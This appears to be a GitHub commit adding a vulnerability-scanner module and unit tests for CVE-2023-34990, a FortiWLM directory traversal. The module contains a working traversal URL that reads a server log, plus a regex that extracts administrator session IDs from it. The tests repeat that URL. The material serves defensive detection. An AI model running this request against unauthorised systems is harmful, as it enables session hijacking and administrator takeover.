Skip to content

Commit

Permalink
Merge pull request #163 from Ostorlab/feature/add-detection-for-cve-2…
Browse files Browse the repository at this point in the history
…023-34990

Add detection for CVE-2023-34990
  • Loading branch information
3asm authored Dec 20, 2024
2 parents 4dcf1bb + 7fb613b commit a5be20f
Show file tree
Hide file tree
Showing 2 changed files with 210 additions and 0 deletions.
89 changes: 89 additions & 0 deletions agent/exploits/cve_2023_34990.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,89 @@
"""Agent Asteroid implementation for CVE-2023-34990"""

import re
import datetime

import requests

from agent import definitions
from agent import exploits_registry
from agent.exploits import webexploit

DEFAULT_TIMEOUT = datetime.timedelta(seconds=90)

VULNERABILITY_TITLE = "FortiWLM Directory Traversal"
VULNERABILITY_REFERENCE = "CVE-2023-34990"
VULNERABILITY_DESCRIPTION = (
"CVE-2023-34990 is a critical flaw in FortiWLM that allows unauthenticated attackers to exploit the /ems/cgi-bin/ezrf_lighttpd.cgi "
"endpoint by injecting directory traversal sequences (../) into the imagename parameter. "
"This grants attackers access to sensitive log files, including administrator session tokens, enabling session hijacking and "
"access to restricted endpoints. The following versions of FortiWLM are impacted by CVE-2023-34990:"
"FortiWLM 8.5: Versions 8.5.0 through 8.5.4"
"FortiWLM 8.6: Versions 8.6.0 through 8.6.5"
)
RISK_RATING = "CRITICAL"

EXPLOIT_URL = "/ems/cgi-bin/ezrf_lighttpd.cgi?op_type=upgradelogs&imagename=../../../../../../../../../data/apps/nms/logs/httpd_error_log"


def _fetch_log_file(target_url: str) -> str | None:
"""
Sends a crafted request to fetch the log file containing sensitive information.
Args:
target_url: The full URL to the vulnerable endpoint.
Returns:
The content of the log file, if accessible, or an empty string.
"""
try:
response = requests.get(
target_url, timeout=DEFAULT_TIMEOUT.seconds, verify=False
)
if response.status_code == 200:
return response.text
except requests.RequestException:
pass

return None


def _extract_session_id(log_content: str) -> list[str]:
"""
Extracts session IDs from the log file content.
Args:
log_content: The content of the fetched log file.
Returns:
A list of extracted session IDs.
"""
session_ids = re.findall(r"sessionid=([A-F0-9]+)", log_content)
return session_ids


@exploits_registry.register
class CVE202334990Exploit(webexploit.WebExploit):
accept_request = definitions.Request(method="GET", path="/")
accept_pattern = [re.compile("<title>FortiWLM Login</title>")]

def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
vulnerabilities: list[definitions.Vulnerability] = []

target_url = f"{target.origin}{EXPLOIT_URL}"
log_content = _fetch_log_file(target_url)

if log_content is not None:
session_ids = _extract_session_id(log_content)
if len(session_ids) > 0:
vulnerability = self._create_vulnerability(target)
vulnerabilities.append(vulnerability)

return vulnerabilities

metadata = definitions.VulnerabilityMetadata(
title=VULNERABILITY_TITLE,
description=VULNERABILITY_DESCRIPTION,
reference=VULNERABILITY_REFERENCE,
risk_rating=RISK_RATING,
)
121 changes: 121 additions & 0 deletions tests/exploits/cve_2023_34990_test.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,121 @@
"""Unit tests for Agent Asteroid: CVE-2023-34990"""

import requests
import requests_mock as req_mock
from pytest_mock import plugin

from agent import definitions
from agent.exploits import cve_2023_34990


def testCVE202334990_whenVulnerable_reportFinding(
mocker: plugin.MockerFixture,
requests_mock: req_mock.mocker.Mocker,
) -> None:
"""CVE-2023-34990 unit test: case when target is vulnerable."""

mock_fetch_log_file = mocker.patch(
"agent.exploits.cve_2023_34990._fetch_log_file",
return_value=(
"""<SCRIPT language="javascript">window.location.href = "/workflow/jsp/logon.jsp;jsessionid=4E1D466A8377449EC3BFABED58A66B14";</SCRIPT>"""
),
)
requests_mock.get(
"http://localhost:80/",
text="""<title>FortiWLM Login</title>""",
status_code=200,
)

exploit_instance = cve_2023_34990.CVE202334990Exploit()

target = definitions.Target("http", "localhost", 80)

accept = exploit_instance.accept(target)
vulnerabilities = exploit_instance.check(target)

assert accept is True
assert len(vulnerabilities) == 1
vulnerability = vulnerabilities[0]
assert vulnerability.entry.title == cve_2023_34990.VULNERABILITY_TITLE
assert vulnerability.entry.risk_rating == "CRITICAL"
assert vulnerability.technical_detail == (
"http://localhost:80 is vulnerable to CVE-2023-34990, FortiWLM Directory Traversal"
)
mock_fetch_log_file.assert_called_once_with(
"http://localhost:80/ems/cgi-bin/ezrf_lighttpd.cgi?op_type=upgradelogs&imagename=../../../../../../../../../data/apps/nms/logs/httpd_error_log"
)


def testCVE202334990_whenSafe_reportNothing(
mocker: plugin.MockerFixture,
requests_mock: req_mock.mocker.Mocker,
) -> None:
"""CVE-2023-34990 unit test: case when target is not vulnerable."""

mock_fetch_log_file = mocker.patch(
"agent.exploits.cve_2023_34990._fetch_log_file", return_value=None
)
requests_mock.get(
"http://localhost:80/",
text="""<title>FortiWLM Login</title>""",
status_code=200,
)

exploit_instance = cve_2023_34990.CVE202334990Exploit()

target = definitions.Target("http", "localhost", 80)

accept = exploit_instance.accept(target)
vulnerabilities = exploit_instance.check(target)

assert accept is True
assert len(vulnerabilities) == 0
mock_fetch_log_file.assert_called_once_with(
"http://localhost:80/ems/cgi-bin/ezrf_lighttpd.cgi?op_type=upgradelogs&imagename=../../../../../../../../../data/apps/nms/logs/httpd_error_log"
)


def testCVE202334990_whenError_fetchLogFileHandlesErrorGracefully(
requests_mock: req_mock.mocker.Mocker,
) -> None:
"""CVE-2023-34990 unit test: case when _fetch_log_file encounters an error gracefully and returns no vulnerabilities."""

requests_mock.get(
"http://localhost:80/",
text="""<title>FortiWLM Login</title>""",
status_code=200,
)
requests_mock.get(
"http://localhost:80/ems/cgi-bin/ezrf_lighttpd.cgi",
exc=requests.exceptions.RequestException("Simulated request exception"),
)

exploit_instance = cve_2023_34990.CVE202334990Exploit()
target = definitions.Target("http", "localhost", 80)

accept = exploit_instance.accept(target)
vulnerabilities = exploit_instance.check(target)

assert accept is True
assert len(vulnerabilities) == 0


def testCVE202334990_whenLogFileFetchSucceeds_vulnerabilitiesFound(
requests_mock: req_mock.mocker.Mocker,
) -> None:
"""CVE-2023-34990 unit test: case when _fetch_log_file successfully fetches the log file."""

mock_log_content = "sessionid=ABC1234 sessionid=XYZ5678"
requests_mock.get(
"http://localhost:80/ems/cgi-bin/ezrf_lighttpd.cgi",
text=mock_log_content,
status_code=200,
)

exploit_instance = cve_2023_34990.CVE202334990Exploit()
target = definitions.Target("http", "localhost", 80)

vulnerabilities = exploit_instance.check(target)

assert len(vulnerabilities) == 1
assert vulnerabilities[0].entry.title == cve_2023_34990.VULNERABILITY_TITLE

0 comments on commit a5be20f

Please sign in to comment.